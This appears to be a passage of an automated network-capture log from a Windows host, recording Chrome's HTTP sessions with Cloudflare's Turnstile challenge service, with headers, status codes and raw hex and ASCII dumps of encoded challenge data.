2025-01-09 23:21:07 UTC	1369	IN	Data Raw: 4e 70 70 4e 33 64 58 64 32 6c 71 69 37 6d 35 7a 43 76 36 37 46 70 4c 6d 61 68 63 54 46 77 36 4b 47 71 4d 4b 2f 7a 4c 33 54 6c 62 2b 30 6a 37 72 44 79 39 58 49 76 63 2f 65 30 4e 65 69 77 74 69 6a 70 63 4f 6c 79 75 65 66 75 4f 72 43 37 38 36 79 33 4f 66 71 32 4d 62 72 37 66 54 61 36 2f 4c 67 73 75 2f 31 35 41 58 6d 2f 41 4c 77 38 66 37 72 76 76 76 2b 79 73 62 75 45 4d 72 75 41 4e 51 50 45 39 49 47 35 2f 6b 5a 46 76 76 35 45 52 76 64 41 2f 45 52 35 77 63 44 35 66 77 4d 4c 2b 66 6e 49 75 77 44 37 67 63 54 45 76 41 4b 43 52 67 4b 43 68 51 5a 44 43 7a 35 4e 79 58 36 2f 55 68 44 47 66 74 4b 43 45 67 47 52 51 77 64 54 69 70 50 49 31 51 68 4a 54 6c 61 46 45 34 74 4f 53 74 66 54 7a 30 33 51 31 64 52 49 54 4d 6a 58 7a 39 45 4e 56 6f 75 57 44 46 75 50 43 5a 7a 59 55 Data Ascii: NppN3dXd2lqi7m5zCv67FpLmahcTFw6KGqMK/zL3Tlb+0j7rDy9XIvc/e0NeiwtijpcOlyuefuOrC786y3Ofq2Mbr7fTa6/Lgsu/15AXm/ALw8f7rvvv+ysbuEMruANQPE9IG5/kZFvv5ERvdA/ER5wcD5fwML+fnIuwD7gcTEvAKCRgKChQZDCz5NyX6/UhDGftKCEgGRQwdTipPI1QhJTlaFE4tOStfTz03Q1dRITMjXz9ENVouWDFuPCZzYU
2025-01-09 23:21:07 UTC	1369	IN	Data Raw: 65 37 69 77 6a 4b 74 36 6a 58 65 50 75 35 47 34 6e 36 6d 4c 70 6f 43 61 78 35 71 6f 6e 70 50 56 72 63 2b 32 70 4d 50 52 72 4e 79 77 33 35 7a 4a 75 74 65 75 35 74 44 48 73 65 44 56 34 4b 7a 6e 31 75 50 6b 77 72 37 43 30 73 2f 6a 73 4d 58 6a 31 38 6e 4a 31 4f 6a 4e 33 65 76 6a 39 2b 48 64 35 4f 51 49 2b 76 66 44 43 50 66 72 42 4f 33 6a 37 77 50 65 34 39 37 34 30 68 4d 50 39 76 49 61 30 50 4c 70 41 68 72 56 39 4f 48 6d 37 77 41 71 36 68 72 37 4c 75 6e 6c 47 6a 48 77 4d 52 34 74 37 51 41 51 38 76 6b 6f 2b 6a 37 36 50 67 34 67 48 7a 51 65 4c 68 77 64 4e 43 6b 6b 4a 6a 39 4c 4d 43 38 4f 48 45 52 4a 51 43 6c 57 4e 54 42 4a 53 46 42 5a 4d 79 73 74 55 6a 41 65 56 46 35 41 4c 32 5a 41 59 44 4d 65 4f 54 39 59 57 48 42 48 5a 69 5a 42 54 6c 4a 79 53 44 41 31 64 57 68 Data Ascii: e7iwjKt6jXePu5G4n6mLpoCax5qonpPVrc+2pMPRrNyw35zJuteu5tDHseDV4Kzn1uPkwr7C0s/jsMXj18nJ1OjN3evj9+Hd5OQI+vfDCPfrBO3j7wPe49740hMP9vIa0PLpAhrV9OHm7wAq6hr7LunlGjHwMR4t7QAQ8vko+j76Pg4gHzQeLhwdNCkkJj9LMC8OHERJQClWNTBJSFBZMystUjAeVF5AL2ZAYDMeOT9YWHBHZiZBTlJySDA1dWh
2025-01-09 23:21:07 UTC	1369	IN	Data Raw: 37 57 43 79 49 53 6e 6c 70 53 61 6d 6f 69 4f 6e 61 48 43 79 71 4b 6c 78 35 53 71 72 36 2b 32 73 49 2b 79 31 61 37 4b 31 39 2f 62 35 62 4b 76 76 62 4b 2b 74 74 2b 37 77 66 44 75 72 73 6a 65 36 4c 33 48 7a 38 6a 51 7a 74 58 37 79 64 4c 61 76 2b 2f 58 33 51 4f 2b 32 2b 50 51 41 64 33 57 34 4f 54 67 45 42 44 66 35 2b 34 4d 34 77 58 67 41 66 4c 31 39 68 6a 75 35 68 2f 63 38 66 4c 35 46 74 38 5a 48 67 66 66 4b 43 55 68 36 53 45 61 41 79 30 74 44 68 59 41 49 67 49 77 4c 41 7a 34 4b 68 73 72 48 77 41 66 46 6a 55 59 4d 68 6a 39 51 79 63 54 42 68 77 6b 43 42 70 4b 55 42 41 72 50 54 42 44 55 43 74 62 56 52 70 4e 58 31 46 4c 56 53 4a 51 4e 52 30 31 57 55 59 7a 48 45 64 45 4c 45 52 51 4b 33 41 79 55 53 31 47 53 46 55 76 4d 58 5a 59 4e 55 35 65 58 44 63 39 63 32 4e 33 Data Ascii: 7WCyISnlpSamoiOnaHCyqKlx5Sqr6+2sI+y1a7K19/b5bKvvbK+tt+7wfDursje6L3Hz8jQztX7ydLav+/X3QO+2+PQAd3W4OTgEBDf5+4M4wXgAfL19hju5h/c8fL5Ft8ZHgffKCUh6SEaAy0tDhYAIgIwLAz4KhsrHwAfFjUYMhj9QycTBhwkCBpKUBArPTBDUCtbVRpNX1FLVSJQNR01WUYzHEdELERQK3AyUS1GSFUvMXZYNU5eXDc9c2N3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49810	104.18.95.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:08 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1407530724:1736460996:yyfoS_5VaXgRwNCuNtdpUHAyZnrD7xVbWd1MnyLVTwA/8ff82960bc478c6f/cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:08 UTC	375	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 23:21:08 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: ov43o4po+T4b+9Dssa+4xA==$3TYN+NXRVsOBkpbHsEj9sg== Server: cloudflare CF-RAY: 8ff829762c6e41db-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:08 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49812	104.18.94.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:08 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8ff82960bc478c6f/1736464867064/09c5295c7046ae5d5cd8eb0ed679dbf404a3722ad201c961298268339cc30dba/im7_ASrXwneZXIb HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:08 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 09 Jan 2025 23:21:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-09 23:21:08 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 43 63 55 70 58 48 42 47 72 6c 31 63 32 4f 73 4f 31 6e 6e 62 39 41 53 6a 63 69 72 53 41 63 6c 68 4b 59 4a 6f 4d 35 7a 44 44 62 6f 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gCcUpXHBGrl1c2OsO1nnb9ASjcirSAclhKYJoM5zDDboAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-09 23:21:08 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49818	104.18.94.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:09 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ff82960bc478c6f/1736464867068/TbRO0vbkApJ1tRy HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:09 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:09 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ff8297c18bf8c33-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 39 00 00 00 2c 08 02 00 00 00 50 61 87 fa 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR9,PaIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49825	104.18.95.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:10 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ff82960bc478c6f/1736464867068/TbRO0vbkApJ1tRy HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:10 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:10 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ff829802cf943f1-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 39 00 00 00 2c 08 02 00 00 00 50 61 87 fa 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR9,PaIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49827	104.18.94.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:10 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1407530724:1736460996:yyfoS_5VaXgRwNCuNtdpUHAyZnrD7xVbWd1MnyLVTwA/8ff82960bc478c6f/cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32627 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:10 UTC	16384	OUT	Data Raw: 76 5f 38 66 66 38 32 39 36 30 62 63 34 37 38 63 36 66 3d 5a 6f 57 42 4d 48 4e 44 72 55 6f 54 6f 54 78 6f 4e 24 4e 55 47 75 48 24 34 31 64 59 71 54 24 42 51 57 6f 54 6a 54 61 71 58 42 55 34 54 6c 55 54 56 48 54 59 75 42 54 41 54 6d 33 42 24 6f 4e 6c 54 51 4e 42 48 77 65 31 48 66 54 4e 69 54 48 6f 54 6e 54 57 6f 54 4f 59 4f 57 4e 2d 56 54 31 34 65 77 24 53 31 54 59 25 32 62 54 5a 36 34 4e 51 54 50 57 54 65 57 72 55 42 4e 41 46 37 75 48 37 54 4f 4a 59 6a 43 58 48 54 54 55 47 54 5a 72 42 54 5a 2d 6b 4f 54 4f 7a 53 73 4f 51 31 4c 64 38 64 69 54 59 37 66 41 66 76 24 46 24 66 4e 4f 4c 31 4a 45 6b 53 6f 4d 59 47 69 4e 70 79 39 42 4d 71 44 54 48 31 4a 77 75 57 51 2d 52 37 55 4f 4c 7a 52 51 33 65 76 75 48 58 50 77 30 64 51 35 6c 67 6d 4c 36 65 65 24 49 63 4d 62 67 Data Ascii: v_8ff82960bc478c6f=ZoWBMHNDrUoToTxoN$NUGuH$41dYqT$BQWoTjTaqXBU4TlUTVHTYuBTATm3B$oNlTQNBHwe1HfTNiTHoTnTWoTOYOWN-VT14ew$S1TY%2bTZ64NQTPWTeWrUBNAF7uH7TOJYjCXHTTUGTZrBTZ-kOTOzSsOQ1Ld8diTY7fAfv$F$fNOL1JEkSoMYGiNpy9BMqDTH1JwuWQ-R7UOLzRQ3evuHXPw0dQ5lgmL6ee$IcMbg
2025-01-09 23:21:10 UTC	16243	OUT	Data Raw: 66 39 78 39 6a 54 49 44 48 4a 4e 24 54 68 54 35 4a 63 42 48 57 48 59 42 48 54 48 42 31 75 54 46 4a 59 53 48 72 4e 2b 54 4f 4a 24 75 4e 55 54 78 44 59 4a 54 48 54 4a 42 59 72 4d 53 54 4b 42 55 79 54 42 54 37 42 4e 72 4e 58 54 4f 42 49 72 54 41 54 63 42 63 34 4e 75 54 35 42 57 53 61 48 54 2b 75 55 42 4e 33 54 4f 42 68 54 59 79 2b 46 74 57 4d 75 34 54 55 42 54 72 54 57 42 35 36 57 62 59 6b 54 4d 37 50 54 54 42 54 6d 6d 4f 57 48 38 74 6f 64 37 49 6f 79 54 72 54 55 4a 31 4c 34 6d 54 34 66 6f 44 54 51 49 2d 5a 65 77 47 4e 31 48 39 52 78 4e 4a 30 71 54 48 33 79 38 54 77 52 42 71 57 6d 54 58 62 42 43 77 77 4a 54 4a 59 64 58 74 70 37 4a 54 48 4e 47 2d 6e 75 63 68 54 72 42 53 54 54 44 4e 24 42 34 53 61 56 41 49 44 51 49 48 37 54 45 79 31 5a 4e 48 4e 79 42 48 57 31 Data Ascii: f9x9jTIDHJN$ThT5JcBHWHYBHTHB1uTFJYSHrN+TOJ$uNUTxDYJTHTJBYrMSTKBUyTBT7BNrNXTOBIrTATcBc4NuT5BWSaHT+uUBN3TOBhTYy+FtWMu4TUBTrTWB56WbYkTM7PTTBTmmOWH8tod7IoyTrTUJ1L4mT4foDTQI-ZewGN1H9RxNJ0qTH3y8TwRBqWmTXbBCwwJTJYdXtp7JTHNG-nuchTrBSTTDN$B4SaVAIDQIH7TEy1ZNHNyBHW1
2025-01-09 23:21:11 UTC	961	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4700 Connection: close cf-chl-out: GkOeZ6fBOmhE/TU0VXI56D/AT46yGs4kgCTqNdS4HkQOrczm/PuFwKy3QtRC6REnD4nFl27A0pxzxcUBFnrODUqSpeUTXFlC97csDBcczcE=$0MzTlDlATIwGEHfYnYRRtw== cf-chl-out-s: ltoCrBJkf8IAjJiD7r1tfBXWpQ65i57ycGJVDn2FE2gMWIB0Qxf9wVeIwNxBMoFkdfNOI9jWIUBW9CWP5Z+1naVLWzP6JtGvq5Dv8v8BJI2FO1mFuW9/ns+OK+K6XqlpspvCejl9HPMeCeED/R1Ms/iKmi0qYBLhzSaHWrS/RquqwP+D5N+S+Ku2KCwNDErQzzuYH8pll/4Vh7YpIxSHSa1ZDTuCxUg3p78X09X+gtlaLg2yEee3OKj2XyeF37jdPfMmG9vhZwHhkf+D2K+7+uksY1tksVhnZXkUhS4qxI9jaHWWDYNLpW+QKwcYkHOiw1G0a/E4m73fWMWvwyYy+lVSfw8sgYHz0tWRCid6Jp09UhNS3cKgDLHd+SvxqmnEAh4pJFa5dAyAToonSiRHq67lK3KZw9OhxDwsr9J/rJxQibNmk/AAkEmKfNLF4FiJ5ciEZYHd5kA9ZhNmfIib5D9DUqIjl9gTrFx9Tm90Ztl42GdWGHllBCT+oRn3llSv6PFzTLpCSkGdbfIKJOum2mRE2Mw+eTdM+Z0+Tvd/LDY=$+ZaPnQQGvEgy30kYXh7Giw== Server: cloudflare CF-RAY: 8ff829830c7043b1-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:11 UTC	408	IN	Data Raw: 70 63 57 31 6e 73 53 2b 6c 34 6d 34 77 35 65 4c 75 72 4c 4a 6a 71 53 72 79 61 4b 74 70 62 62 5a 72 72 69 55 73 4c 75 73 77 63 32 36 35 4c 2b 7a 75 63 54 44 78 36 4b 32 37 72 33 69 77 50 48 4c 30 4b 2f 31 7a 39 4c 56 73 72 72 58 79 38 76 79 2b 4c 72 73 33 73 7a 51 34 73 48 68 31 65 66 57 34 64 62 35 32 38 6f 4c 43 41 62 6e 33 65 30 55 31 52 66 31 46 2b 63 47 39 64 76 73 39 69 44 36 33 52 45 6f 2b 69 6b 46 38 69 4d 48 4a 79 6f 71 48 53 59 6d 42 53 51 73 43 50 51 6e 43 44 49 7a 4d 76 73 73 48 78 51 76 52 45 50 36 4d 7a 67 66 42 51 41 46 44 41 6f 41 52 45 55 64 54 45 64 4b 4e 53 67 2f 4e 31 59 74 45 53 73 30 4d 44 49 5a 56 6c 56 59 51 44 74 58 48 32 59 6c 5a 6c 30 6e 4f 47 45 35 4a 79 39 49 51 54 46 72 54 56 46 69 59 32 4a 73 55 56 5a 71 57 6e 49 38 66 7a 78 Data Ascii: pcW1nsS+l4m4w5eLurLJjqSryaKtpbbZrriUsLuswc265L+zucTDx6K27r3iwPHL0K/1z9LVsrrXy8vy+Lrs3szQ4sHh1efW4db528oLCAbn3e0U1Rf1F+cG9dvs9iD63REo+ikF8iMHJyoqHSYmBSQsCPQnCDIzMvssHxQvREP6MzgfBQAFDAoAREUdTEdKNSg/N1YtESs0MDIZVlVYQDtXH2YlZl0nOGE5Jy9IQTFrTVFiY2JsUVZqWnI8fzx
2025-01-09 23:21:11 UTC	1369	IN	Data Raw: 31 63 33 30 78 39 50 33 79 4f 33 62 7a 75 71 36 7a 77 48 6a 32 39 76 5a 78 51 6f 42 31 38 6a 41 31 2b 63 42 7a 51 76 39 41 74 41 55 44 76 44 52 35 68 37 63 31 42 6b 53 44 50 6e 7a 46 2f 55 58 45 53 50 33 33 42 59 63 36 2b 6a 70 49 65 30 62 42 78 30 79 46 50 59 36 47 4f 77 33 50 68 63 7a 2b 78 38 64 46 79 55 68 50 44 6a 2b 42 68 67 63 51 30 45 39 47 42 6b 4d 55 69 41 67 52 44 42 43 55 6a 6f 70 53 55 52 50 53 68 30 79 57 6c 74 64 50 6d 5a 68 54 32 52 6e 61 46 52 48 5a 32 68 6e 58 47 39 71 4d 48 41 73 62 32 42 67 4d 47 49 74 55 6e 46 34 65 58 70 61 63 56 73 39 52 56 2b 47 64 32 4f 48 66 59 74 5a 52 6d 68 67 59 46 79 55 58 49 4a 67 59 33 68 70 5a 70 70 38 65 57 36 66 6a 6e 79 63 63 56 39 6c 6c 4a 42 66 68 6f 65 68 64 5a 75 71 68 4b 61 78 62 37 43 68 72 58 52 Data Ascii: 1c30x9P3yO3bzuq6zwHj29vZxQoB18jA1+cBzQv9AtAUDvDR5h7c1BkSDPnzF/UXESP33BYc6+jpIe0bBx0yFPY6GOw3Phcz+x8dFyUhPDj+BhgcQ0E9GBkMUiAgRDBCUjopSURPSh0yWltdPmZhT2RnaFRHZ2hnXG9qMHAsb2BgMGItUnF4eXpacVs9RV+Gd2OHfYtZRmhgYFyUXIJgY3hpZpp8eW6fjnyccV9llJBfhoehdZuqhKaxb7ChrXR
2025-01-09 23:21:11 UTC	1369	IN	Data Raw: 76 47 2b 38 65 48 67 7a 50 72 75 2b 63 66 30 31 4d 54 62 34 4f 37 64 44 2b 44 76 79 66 37 51 41 2b 62 77 36 2f 54 6e 47 76 54 6e 37 4e 72 76 43 75 6f 4f 2b 67 49 5a 35 2f 6b 54 34 78 73 4d 46 2b 63 4b 2b 50 77 78 4c 7a 41 55 44 2b 38 33 46 54 6e 7a 37 68 66 31 4e 78 6b 4d 49 54 73 57 4e 42 51 49 48 44 63 43 50 30 41 33 51 78 42 4b 4f 30 6b 68 4b 30 51 76 53 69 6b 6a 46 43 6c 52 50 56 4e 42 55 44 78 58 57 7a 30 2f 48 31 39 6e 4e 53 49 6f 5a 31 5a 4e 4c 45 4a 51 5a 7a 52 6a 56 6d 70 33 5a 56 68 58 61 7a 64 4a 58 58 39 35 59 57 4a 32 57 6e 4e 6d 57 46 70 31 52 59 64 39 57 59 4e 4d 6b 58 74 4e 58 59 42 77 55 46 53 53 64 59 70 6c 6d 6d 6d 50 64 5a 74 73 66 31 79 65 6b 6f 61 6a 6c 6f 6c 37 65 5a 36 57 64 36 36 69 6b 35 47 4a 6f 71 43 74 6b 57 75 6c 6d 5a 6d 76 Data Ascii: vG+8eHgzPru+cf01MTb4O7dD+Dvyf7QA+bw6/TnGvTn7NrvCuoO+gIZ5/kT4xsMF+cK+PwxLzAUD+83FTnz7hf1NxkMITsWNBQIHDcCP0A3QxBKO0khK0QvSikjFClRPVNBUDxXWz0/H19nNSIoZ1ZNLEJQZzRjVmp3ZVhXazdJXX95YWJ2WnNmWFp1RYd9WYNMkXtNXYBwUFSSdYplmmmPdZtsf1yekoajlol7eZ6Wd66ik5GJoqCtkWulmZmv
2025-01-09 23:21:11 UTC	1369	IN	Data Raw: 44 69 77 41 66 38 39 39 6e 4c 78 2b 4c 74 43 77 2f 2b 43 4f 51 57 41 51 6b 48 39 66 66 71 36 4e 4d 4b 32 65 38 68 39 52 54 73 33 78 45 44 34 69 67 57 2b 41 30 6f 46 2b 67 41 4c 68 48 71 4a 77 6f 51 41 68 49 43 44 66 4d 46 4c 42 77 4f 47 52 73 76 4d 2f 73 30 4d 44 6b 44 52 52 30 45 42 41 73 37 43 43 49 62 4a 55 59 6f 44 44 4a 4c 4f 54 64 48 46 53 6c 49 53 43 77 59 50 30 4a 43 4a 46 64 42 48 32 4d 69 56 45 6c 4e 4b 30 77 6e 4b 43 4e 4d 4b 69 78 4c 55 33 68 76 62 55 31 59 61 31 56 73 4f 58 74 36 56 6f 52 55 50 6d 46 6a 51 34 64 35 57 6f 4e 31 65 56 39 70 61 34 43 54 56 47 78 31 64 70 4f 42 68 58 6c 63 69 34 31 75 67 56 6d 4d 57 6d 52 66 65 5a 79 42 6b 59 6c 6c 70 48 57 62 61 6f 47 5a 6b 4b 53 56 6b 35 65 42 63 4c 4b 4f 63 6e 79 63 70 35 2b 4e 67 5a 57 67 73 Data Ascii: DiwAf899nLx+LtCw/+COQWAQkH9ffq6NMK2e8h9RTs3xED4igW+A0oF+gALhHqJwoQAhICDfMFLBwOGRsvM/s0MDkDRR0EBAs7CCIbJUYoDDJLOTdHFSlISCwYP0JCJFdBH2MiVElNK0wnKCNMKixLU3hvbU1Ya1VsOXt6VoRUPmFjQ4d5WoN1eV9pa4CTVGx1dpOBhXlci41ugVmMWmRfeZyBkYllpHWbaoGZkKSVk5eBcLKOcnycp5+NgZWgs
2025-01-09 23:21:11 UTC	185	IN	Data Raw: 35 78 50 6a 6e 33 74 44 2b 32 2b 50 30 39 4f 6e 50 41 64 41 47 38 67 77 4b 32 64 7a 37 33 66 7a 32 32 2f 41 68 2b 50 63 44 36 43 72 6b 41 67 55 6b 47 66 41 6e 42 65 59 42 42 78 4d 56 46 53 6f 6e 47 44 6e 35 4c 66 59 51 47 43 4d 5a 52 68 34 66 4f 30 72 38 41 6a 63 4b 49 30 31 46 43 77 56 52 4a 78 45 72 44 6b 30 56 56 6a 4d 74 53 42 46 63 48 69 74 65 4e 30 56 62 4e 69 56 52 4e 6b 52 41 58 47 6f 6e 57 53 35 6e 62 32 46 65 63 32 4e 68 4f 45 6c 4c 56 57 68 36 4d 57 42 4f 4f 48 45 39 5a 56 78 56 58 49 68 49 56 6c 31 72 6a 57 61 46 59 35 4b 52 57 46 6b 3d Data Ascii: 5xPjn3tD+2+P09OnPAdAG8gwK2dz73fz22/Ah+PcD6CrkAgUkGfAnBeYBBxMVFSonGDn5LfYQGCMZRh4fO0r8AjcKI01FCwVRJxErDk0VVjMtSBFcHiteN0VbNiVRNkRAXGonWS5nb2Fec2NhOElLVWh6MWBOOHE9ZVxVXIhIVl1rjWaFY5KRWFk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49832	104.18.95.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:11 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1407530724:1736460996:yyfoS_5VaXgRwNCuNtdpUHAyZnrD7xVbWd1MnyLVTwA/8ff82960bc478c6f/cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:11 UTC	375	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 23:21:11 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: qv4QMpSyJV8U8dP8UQcbeA==$lcYW5fiPKm/naB7PJRLkMQ== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ff82987eec75e67-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:11 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
